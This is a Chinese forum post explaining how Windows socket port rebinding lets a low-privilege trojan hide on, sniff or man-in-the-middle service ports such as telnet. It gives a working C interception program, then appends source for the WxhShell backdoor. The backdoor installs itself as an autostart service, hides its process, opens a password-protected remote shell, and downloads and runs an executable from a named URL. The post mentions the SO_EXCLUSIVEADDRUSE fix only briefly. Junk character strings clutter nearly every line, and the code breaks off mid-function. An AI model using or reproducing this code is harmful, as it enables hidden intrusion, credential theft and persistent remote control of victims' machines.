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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \8}!aTC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~B2,edkM  
|3:e$  
  saddr.sin_family = AF_INET; p3q >a<  
Fs}vI~}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MKPw;@-  
;J&p17~T9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #=81`u  
]aDU*tk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?\.DG`Zxc  
D00v"yp%%  
  这意味着什么?意味着可以进行如下的攻击: K K_  
%0MvCm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G oHdhne3  
+;|" #  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |vUjoa'.7E  
v&]k8Hc-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~ 5@bW J  
wa f)S=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ":meys6t#  
Gkr?M^@K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }9FAM@x1K&  
iS@+qWo1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sPxDo?1x-  
U{[ g"_+~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M. o}?  
# ^q87y  
  #include ,g~Iup  
  #include Kwmtt  
  #include F39H@%R  
  #include    921m'WE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7+2DsZ^6MW  
  int main() f[s|<U^  
  { n8RE  
  WORD wVersionRequested; a@ v}j&  
  DWORD ret; O>tz;RU  
  WSADATA wsaData; ,"xr^@W  
  BOOL val; V\6V&_  
  SOCKADDR_IN saddr; ,l )7]p*X  
  SOCKADDR_IN scaddr; CEXD0+\q  
  int err; ar[I| Q_  
  SOCKET s; Tfow_t}\  
  SOCKET sc; Pz77\DpFi  
  int caddsize; ~\]lMsk+  
  HANDLE mt; Ss$/Bh>hN  
  DWORD tid;   M7PG s-l  
  wVersionRequested = MAKEWORD( 2, 2 ); e{6I-5`|,#  
  err = WSAStartup( wVersionRequested, &wsaData ); ygo4.  
  if ( err != 0 ) { A}l+BIt  
  printf("error!WSAStartup failed!\n"); ui .riD[,O  
  return -1; Q| _e=  
  } A1p87o>  
  saddr.sin_family = AF_INET; ]Dd}^khv  
   ur@"wcl"V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U'oFW@Y;h  
UfxY D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !+H)N  
  saddr.sin_port = htons(23); >X58 zlxk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `iZ){JfAH  
  { WFm\ bZ.  
  printf("error!socket failed!\n"); 30fqD1_{  
  return -1; Bid+,,  
  } F[5sFk M7  
  val = TRUE; :v Do{My^1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dc=}c/6x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x;@wtd*QB  
  { !l|fzS8g  
  printf("error!setsockopt failed!\n"); *u ^mf~  
  return -1; y3Qb2l  
  } De^Uc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #O,;3S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4m"6$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'wT !X[jF  
EFdo-.Ax  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CY</v,\:#  
  { ,~nrNkhp  
  ret=GetLastError(); vhE^jS<Tg  
  printf("error!bind failed!\n"); r- 8fvBZ5  
  return -1; (CR]96n  
  } kD\7wz,ui  
  listen(s,2); yLgv<%8f  
  while(1) oU)Hco"_k  
  { 5i1E 5@~  
  caddsize = sizeof(scaddr); (,XbxDfM  
  //接受连接请求 VBq|j"o0"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g 5@P  
  if(sc!=INVALID_SOCKET) ={G0p=~+,p  
  { C;\R 62'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6 6C_XT  
  if(mt==NULL) 1a]QNl_x  
  { UNF@%O4_T  
  printf("Thread Creat Failed!\n"); DcRvZH  
  break; E5QQI9ea  
  } k; (r:k^  
  } R|'ftFebB.  
  CloseHandle(mt); &\m=|S  
  } ,p)Qu%'  
  closesocket(s); 12o6KVV^x  
  WSACleanup(); <X "_S'O  
  return 0; 4d63+iM+}  
  }   ]9lR:V sw  
  DWORD WINAPI ClientThread(LPVOID lpParam) H#:Aby-d}  
  { w<SFs#Z  
  SOCKET ss = (SOCKET)lpParam; JuD&121N*  
  SOCKET sc; t b>At*tO  
  unsigned char buf[4096]; FI8 vABq  
  SOCKADDR_IN saddr; 5#U=x ,7e  
  long num; sL4j@Lt  
  DWORD val; n%K^G4k^  
  DWORD ret; rGm xK|R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z]HaE|j}S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1{-yF :A  
  saddr.sin_family = AF_INET; bZlKy`Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K:q|M?_  
  saddr.sin_port = htons(23); :-tMH02c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +[2ep"5H  
  { (Tv~$\=  
  printf("error!socket failed!\n"); @bF4'M  
  return -1; ni?5h5-  
  } C17$ qdV/  
  val = 100; RMs+pN<5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ny5$IIF e  
  { Y6RbRcJw  
  ret = GetLastError(); ApTE:Fm1  
  return -1; NnRX0]  
  } &a!MT^anA~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &cZl2ynPi  
  { S1a6uE  
  ret = GetLastError(); -8Q}*Z  
  return -1; ~v6]6+   
  } i9eE/ .  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]{ir^[A6  
  { Cs'<;|r(  
  printf("error!socket connect failed!\n"); td5! S]  
  closesocket(sc); Q" G;L  
  closesocket(ss); ^t Y _ q  
  return -1; Y2aN<>f  
  } xQDWnpFc  
  while(1) #<DS-^W!  
  { W|(U} PrC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -T2w?|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O"~CZh,:r}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u$<>8aMei  
  num = recv(ss,buf,4096,0); ZVz`g]  
  if(num>0) SNc$!  
  send(sc,buf,num,0); |+Cd2[hN  
  else if(num==0) |_m N:(3  
  break; Jd28/X5&  
  num = recv(sc,buf,4096,0); w5`EJp8MC  
  if(num>0) \49s;\I]  
  send(ss,buf,num,0); "sYZ3  
  else if(num==0) Xbu P_U'  
  break; >Xi/ p$$7u  
  } UsgrI>|l  
  closesocket(ss); TjS &V  
  closesocket(sc); O+"a 0:GM  
  return 0 ; 3(`P x}  
  } }"M5"?  
k]rc -c-  
r2m&z%N &  
========================================================== \k3EFSm  
1#KBf[0  
下边附上一个代码,,WXhSHELL ^&KpvQNW_  
C."\ a_p  
========================================================== ;: 0<(!^*  
W>(w&k]%B  
#include "stdafx.h" k [iT']  
%5!K?,z%  
#include <stdio.h> ]OV}yD2p  
#include <string.h> R$bDj >8  
#include <windows.h> SBg|V  
#include <winsock2.h> m4?a'z"  
#include <winsvc.h> qIwsK\^p  
#include <urlmon.h> 4 q\&Mb3  
3fxcH  
#pragma comment (lib, "Ws2_32.lib") IZBY*kr  
#pragma comment (lib, "urlmon.lib") 4{ [d '-H5  
Mc{-2  
#define MAX_USER   100 // 最大客户端连接数 z) x.6  
#define BUF_SOCK   200 // sock buffer "KgNMNep  
#define KEY_BUFF   255 // 输入 buffer ;KgDVq5  
Sym}#F\s  
#define REBOOT     0   // 重启 ]]P@*4!  
#define SHUTDOWN   1   // 关机 Id=V\'$o  
0ax ;Q[z2  
#define DEF_PORT   5000 // 监听端口 Nx"|10gC  
ZF@$3   
#define REG_LEN     16   // 注册表键长度 Of>2m<  
#define SVC_LEN     80   // NT服务名长度 Hu+GN3`sx^  
O9rA3qv B  
// 从dll定义API A<+1:@0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !oYNJE Y7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  9XhcA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3_"tds <L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o,RiAtdk  
#, h0K  
// wxhshell配置信息 W3jwc{lj  
struct WSCFG { C{~O!^2G  
  int ws_port;         // 监听端口 7^<6|>j4  
  char ws_passstr[REG_LEN]; // 口令 +F*h\4ry#  
  int ws_autoins;       // 安装标记, 1=yes 0=no q6}KOO)  
  char ws_regname[REG_LEN]; // 注册表键名 NAOCQDk{  
  char ws_svcname[REG_LEN]; // 服务名 7^C&2k 5G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -vv_6Z L[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OZEbs 7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 intl?&wC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iK!FVKi}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mbns%%GJU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tj+U:#!!~  
4v` G/w  
}; CSY-{  
R6TT1Ka3c  
// default Wxhshell configuration 7^syu;DT9Y  
struct WSCFG wscfg={DEF_PORT, W#2} EX  
    "xuhuanlingzhe", "R"{xOQl  
    1, @w;$M]o1  
    "Wxhshell", Oh%p1$H  
    "Wxhshell", b! r%4Ah  
            "WxhShell Service", @9~x@[  
    "Wrsky Windows CmdShell Service", [Sj"gLj  
    "Please Input Your Password: ", 0rvBjlFT  
  1, \BX9Wn*)a  
  "http://www.wrsky.com/wxhshell.exe", _l2_) ~  
  "Wxhshell.exe" [^D>xD3B2  
    }; L1f=90  
x_CY`Y  
// 消息定义模块 {< EPm&q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }rUAYr~VZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #8~ygEa}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7$x%A&]  
char *msg_ws_ext="\n\rExit."; }I1j#d0.  
char *msg_ws_end="\n\rQuit."; sOb]o[=  
char *msg_ws_boot="\n\rReboot..."; *Q#oV}D_  
char *msg_ws_poff="\n\rShutdown..."; P@D\5}*6  
char *msg_ws_down="\n\rSave to "; a_-@rceU  
w|Ry) [  
char *msg_ws_err="\n\rErr!"; f8ZuG !U  
char *msg_ws_ok="\n\rOK!"; 5~ZzQG  
qOIVuzi*  
char ExeFile[MAX_PATH]; ;NE4G;px4<  
int nUser = 0; 5A<}*T  
HANDLE handles[MAX_USER];  3Yo)K  
int OsIsNt; 5 D=r7  
-9;?k{{[T  
SERVICE_STATUS       serviceStatus; GFju:8P?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (UCCEQq5  
zszmG^W{  
// 函数声明 |6;-P&_n  
int Install(void); ||ugb6q[6B  
int Uninstall(void); OMM5ALc(F  
int DownloadFile(char *sURL, SOCKET wsh); ,Xr`tQ<@  
int Boot(int flag); bI`JG:^b  
void HideProc(void); bZr,jLEf  
int GetOsVer(void); ?1zGs2Qs  
int Wxhshell(SOCKET wsl); q`?M+c*F  
void TalkWithClient(void *cs); 6}VFob#h8  
int CmdShell(SOCKET sock); e=aU9v L  
int StartFromService(void); 9Ofls9]U  
int StartWxhshell(LPSTR lpCmdLine); 3SI0etVr  
HA7%8R*.2i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O /:FY1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \w"~DuA  
*K|ah:(r1\  
// 数据结构和表定义 zR <fz  
SERVICE_TABLE_ENTRY DispatchTable[] = J Vxja<43  
{ q"oNFHYPDs  
{wscfg.ws_svcname, NTServiceMain}, W\j)Vg__e  
{NULL, NULL} TD%L`Gk  
}; B?yj U[/R  
<1B+@  
// 自我安装 [^7P ]olW  
int Install(void) 0S9~db  
{ fFYoZ/\  
  char svExeFile[MAX_PATH]; OhMJt&s9P=  
  HKEY key; a2ho+TwT  
  strcpy(svExeFile,ExeFile); $rTb'8  
8Lgm50bs  
// 如果是win9x系统,修改注册表设为自启动 S4?WR+:h  
if(!OsIsNt) { jVZ<i}h0B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yimK"4!j5A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e /1x/v'  
  RegCloseKey(key); La3rX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t%J1(H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1e7I2g  
  RegCloseKey(key); GNEPb?+T  
  return 0; 9_,f)2)~W  
    } bM5o-U#^ C  
  } ;<thEWH;Y  
} mQR9Pn}H  
else { F3]VSI6^E,  
+ d3  
// 如果是NT以上系统,安装为系统服务 u`.)O2)xU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;ISe@ yR;  
if (schSCManager!=0) , ,ng]&%i  
{ :=TIq  
  SC_HANDLE schService = CreateService erbk (  
  ( q mv0LU  
  schSCManager, [ p~,;%  
  wscfg.ws_svcname, c#"t.j<E}  
  wscfg.ws_svcdisp, zH6@v +gb  
  SERVICE_ALL_ACCESS, 2%6 >)|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {7c'%e  
  SERVICE_AUTO_START, #^Pab^Y3r-  
  SERVICE_ERROR_NORMAL, EpyMc+.Ze'  
  svExeFile, -{8K/!  
  NULL, M8<Vd1-5  
  NULL, J=gFiBw  
  NULL, xy4+ [u  
  NULL, Hk@Gkx_  
  NULL K1BBCe  
  ); ciiI{T[Z  
  if (schService!=0) '21gUYm  
  { )wCNLi>4  
  CloseServiceHandle(schService); z7gX@@T  
  CloseServiceHandle(schSCManager); CfSP*g0rW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3Jt# Mp  
  strcat(svExeFile,wscfg.ws_svcname); vJ=Q{_D=\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CswKT 9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i%i />;DF  
  RegCloseKey(key); 1JfZstT  
  return 0; 0Ci/-3HV!  
    } {>9ED.t  
  } *B}O  
  CloseServiceHandle(schSCManager); 3 V>$H\H  
} H,5]w\R6\  
} kltW  
*o4a<.hd2  
return 1; Uc'}y!R  
} )RvX}y-  
g#^MO]pY  
// 自我卸载 Iz#4!E|<  
int Uninstall(void) !khEep}  
{ 1' v!~*af  
  HKEY key; qy)~OBY  
+kQ=2dva  
if(!OsIsNt) { ^]D1':  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MuQ)F-GSUu  
  RegDeleteValue(key,wscfg.ws_regname); %)?jaE}[  
  RegCloseKey(key); LybaE~=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { geqP.MR  
  RegDeleteValue(key,wscfg.ws_regname); *|Er;Thw  
  RegCloseKey(key); .#$2,"8  
  return 0; D\9-/ p  
  } UO@K:n  
} VZI!rFac  
} 3B 'j?+A  
else { gCC7L(1  
t(-,mw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zU+q03l8Ur  
if (schSCManager!=0) p/VVb%  
{ u;-fG9xs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y^}u L|=  
  if (schService!=0) /\h*v!:  
  { Wu'qpJ  
  if(DeleteService(schService)!=0) { S7Ty}?E@  
  CloseServiceHandle(schService); Ec3tfcNhR  
  CloseServiceHandle(schSCManager); ""a$[[ %WC  
  return 0; 9Pe$}N  
  } H(K PU1lDw  
  CloseServiceHandle(schService); [K\b"^=<  
  } 2wIJ;rh  
  CloseServiceHandle(schSCManager); !e~[U-  
} C` ky=  
} ceJi|`F  
?X6}+  
return 1; ,r;xH}tbi  
} 6{HCF-cQd  
u"*DI=pwb  
// 从指定url下载文件 Wu/#}Bw#  
int DownloadFile(char *sURL, SOCKET wsh) #IM.7`I   
{ ,:A;4  
  HRESULT hr; S* O. ?  
char seps[]= "/"; !Vw1w1  
char *token; % J^x `P  
char *file; ;VAyH('~  
char myURL[MAX_PATH]; 79W^;\3  
char myFILE[MAX_PATH]; ~~h#2SX  
~8u *sy  
strcpy(myURL,sURL); "^\q{S&q2P  
  token=strtok(myURL,seps); s) shq3O  
  while(token!=NULL) ~<n.5q%Z  
  { )B0%"0?`8  
    file=token; >!xyA;  
  token=strtok(NULL,seps); /0XMQy  
  } Tgr,1) T  
uoI7' :Nv  
GetCurrentDirectory(MAX_PATH,myFILE); +lqGf  
strcat(myFILE, "\\"); pOo016afmA  
strcat(myFILE, file); {XmCG%%L  
  send(wsh,myFILE,strlen(myFILE),0); A+0-pF2D  
send(wsh,"...",3,0); ([dd)QU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V)>?[  
  if(hr==S_OK) X&?s:A  
return 0; n%7?G=_kj  
else <4q H0<  
return 1; V9BW@G@9  
z m$Sw0#(  
} \xCCJWek  
yEI@^8]s  
// 系统电源模块 YiDOV)  
int Boot(int flag) ?Z7QD8N  
{ Oti*"dV\::  
  HANDLE hToken; _b~{/[s  
  TOKEN_PRIVILEGES tkp; o6k#neB>=.  
Km8aHc]O~  
  if(OsIsNt) { =\WF +r]V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ec@n<KK#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P.,U>m  
    tkp.PrivilegeCount = 1; 6`e7|ilh6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w31Ox1>s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rm,`M  
if(flag==REBOOT) { Yg^ &4ZF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E=p+z"Ui  
  return 0; 7#0buXBg  
} c>B1cR  
else { #_wq#rF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Go)$LC0Mi  
  return 0; |h\7Q1,1~2  
} +nDy b  
  } :hX[8u  
  else { !wfW0?eu  
if(flag==REBOOT) { ,RV qYh(-|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g"evnp  
  return 0; _F;v3|`D@<  
} ?FQ#I~'<  
else { Rqh5FzB>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4N,mcV  
  return 0; [>O!~  
} li r=0oq<  
} F)LbH& Kn  
'u7-Qetj  
return 1; bO=|utpk  
} 5I622d  
4I$Y(E}  
// win9x进程隐藏模块 'r?ULft1  
void HideProc(void) ?l0eU@rwQ  
{ Iux3f+H  
lK0ny>RB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P0m3IH)  
  if ( hKernel != NULL ) )>iOj50n3  
  { .-KI,IU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P!eo#b^S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k{}> *pCU  
    FreeLibrary(hKernel); <+roY"  
  } m@td[^O-  
`\kihNkJn3  
return; >HP `B2Q H  
} B*(]T|ff<  
53HA6:Q[  
// 获取操作系统版本 4ax{Chn  
int GetOsVer(void) T6U/}&{O  
{ ;M:AcQZ|_  
  OSVERSIONINFO winfo; `2mddx8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -NBVUUAgN  
  GetVersionEx(&winfo); RY , <*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s^h@b!'7  
  return 1; j#l=%H  
  else z*\_+u~u  
  return 0; Y{YbKKM  
}  G 3Z"U  
(8d uV  
// 客户端句柄模块 <J/ =$u/  
int Wxhshell(SOCKET wsl) o?`FjZ6;x  
{ J]F&4 O  
  SOCKET wsh; m{\ & k  
  struct sockaddr_in client; smP4KC"I(d  
  DWORD myID; *_(X$qfoW  
Nu5|tf9%A  
  while(nUser<MAX_USER) %5o2I_Cjz  
{ 5S~ H[>A"  
  int nSize=sizeof(client); z$~x 2<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F9K%f&0 a  
  if(wsh==INVALID_SOCKET) return 1; xye-Z\-t  
d>QFmsh-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HBlk~eZ  
if(handles[nUser]==0) 50,'z?-_  
  closesocket(wsh); !nvwRQ  
else d)o5JD/  
  nUser++; kwI``7g8*e  
  }  F B]Y~;(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y|>dS8f;4  
VoU8I ~  
  return 0; {)[o*+9  
} u#0snw~)/  
]}2)U  
// 关闭 socket w0Qtr>"  
void CloseIt(SOCKET wsh) ,;k+n)  
{ osW"wh_  
closesocket(wsh); e &6%  
nUser--; TZn 15-O  
ExitThread(0); %w`d  
} m'o dVZ7  
.wfydu)3  
// 客户端请求句柄 SE'Im  
void TalkWithClient(void *cs) t R^f]+Up  
{ #}`sfaT  
~6G `k^!  
  SOCKET wsh=(SOCKET)cs; &7L7|{18  
  char pwd[SVC_LEN]; @X==[gQ  
  char cmd[KEY_BUFF]; q+ax]=w  
char chr[1]; jK|n^5\  
int i,j; J4Gzp~{  
*uvM6F$ut  
  while (nUser < MAX_USER) { $y(;"hy  
Obs#2>h  
if(wscfg.ws_passstr) { wlS/(:02  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +|A`~\@N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9vI~vl l  
  //ZeroMemory(pwd,KEY_BUFF); w"hd_8cO  
      i=0; BU`X_Z1)  
  while(i<SVC_LEN) { E~!$&9\  
l_I)d7   
  // 设置超时 Gm~([Ln{  
  fd_set FdRead; ohx[_}xN  
  struct timeval TimeOut; / *0t_  
  FD_ZERO(&FdRead); 7^L  
  FD_SET(wsh,&FdRead); ) .~ "  
  TimeOut.tv_sec=8; Kk3+ ]W<  
  TimeOut.tv_usec=0; }EK{UM9y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <,i4Ua  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5'2kP{;  
KC/O EJ`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9*q wXU_aV  
  pwd=chr[0]; c=m'I>A  
  if(chr[0]==0xd || chr[0]==0xa) { D#;7S'C  
  pwd=0; )Z7Vm2a  
  break; X\^V{v^-  
  }  wJp<ZL  
  i++; hnj\|6L  
    } #{i*9'  
waMF~#PJlt  
  // 如果是非法用户,关闭 socket }7 N6n Zj`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); = Xgo}g1  
} "Q?+T:D8|  
HDe\Oty_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CPz<iU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?ZF):}r vZ  
Ailq,  c  
while(1) { 6v`3/o  
\"lz,bT  
  ZeroMemory(cmd,KEY_BUFF); I G1];vX  
%rwvY`\  
      // 自动支持客户端 telnet标准   uwe#& V-  
  j=0; H:fKv7XL  
  while(j<KEY_BUFF) { I}C2;[aB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I8xdE(o8+  
  cmd[j]=chr[0]; ( t&RFzE?G  
  if(chr[0]==0xa || chr[0]==0xd) { K_i|cYGV  
  cmd[j]=0; a5*r1,  
  break; ImXYI7PL  
  } e@D_0OZ  
  j++; '| 8 dt "C  
    } <jh4P!\&j  
MN?aPpr>  
  // 下载文件 uwwR$ (\7  
  if(strstr(cmd,"http://")) { *22Vc2[i;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qO6M5g:   
  if(DownloadFile(cmd,wsh)) wgl<JO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) Sn0Y B  
  else t G_4>-Y#w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ASqYA1p.  
  } U1\7Hcs$  
  else { 4 m:h&^`N  
X[BP0:`t  
    switch(cmd[0]) { kR=sr/{  
  #g{R+#fm  
  // 帮助 Yy*=@qu>g  
  case '?': { VD=H=Ju  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p-4$)w~6i  
    break; mixsJ}e  
  } JP#S/kJ%3  
  // 安装 ,54z9F`  
  case 'i': { EU[\D;  
    if(Install()) 0jTReY-W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8\YMr 6o  
    else q/O2E<=w*c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M2Q,&>M   
    break; :_e[xB=Yy  
    } ;aQ`` B  
  // 卸载 _ *f>UW*,  
  case 'r': { 2` o @L  
    if(Uninstall()) B+W7zv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dq 93P%X24  
    else 5(>=};r+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vJWBr:`L  
    break; JR!-1tnc  
    } jTa\I&s,A  
  // 显示 wxhshell 所在路径 4H{t6t@-:  
  case 'p': { 7^dr[.Q[*  
    char svExeFile[MAX_PATH]; tZ_'>7)  
    strcpy(svExeFile,"\n\r"); ale'-V)5  
      strcat(svExeFile,ExeFile); Fp\;j\pfw  
        send(wsh,svExeFile,strlen(svExeFile),0); )qy?x7   
    break; bP18w0>,  
    } ,`geOJn'  
  // 重启 s%)f<3=a  
  case 'b': { &'uP?r9c$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;cMQ 0e  
    if(Boot(REBOOT)) Oeh A3$|#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7FC!^)x1  
    else { ,L ig6Z`  
    closesocket(wsh); \.Lj A_  
    ExitThread(0);  "J(M.Y  
    } J!:BCjRdw  
    break;  ?eS;Yc  
    } YBt=8`r  
  // 关机 64B.7S88  
  case 'd': { s~M$Wo8  
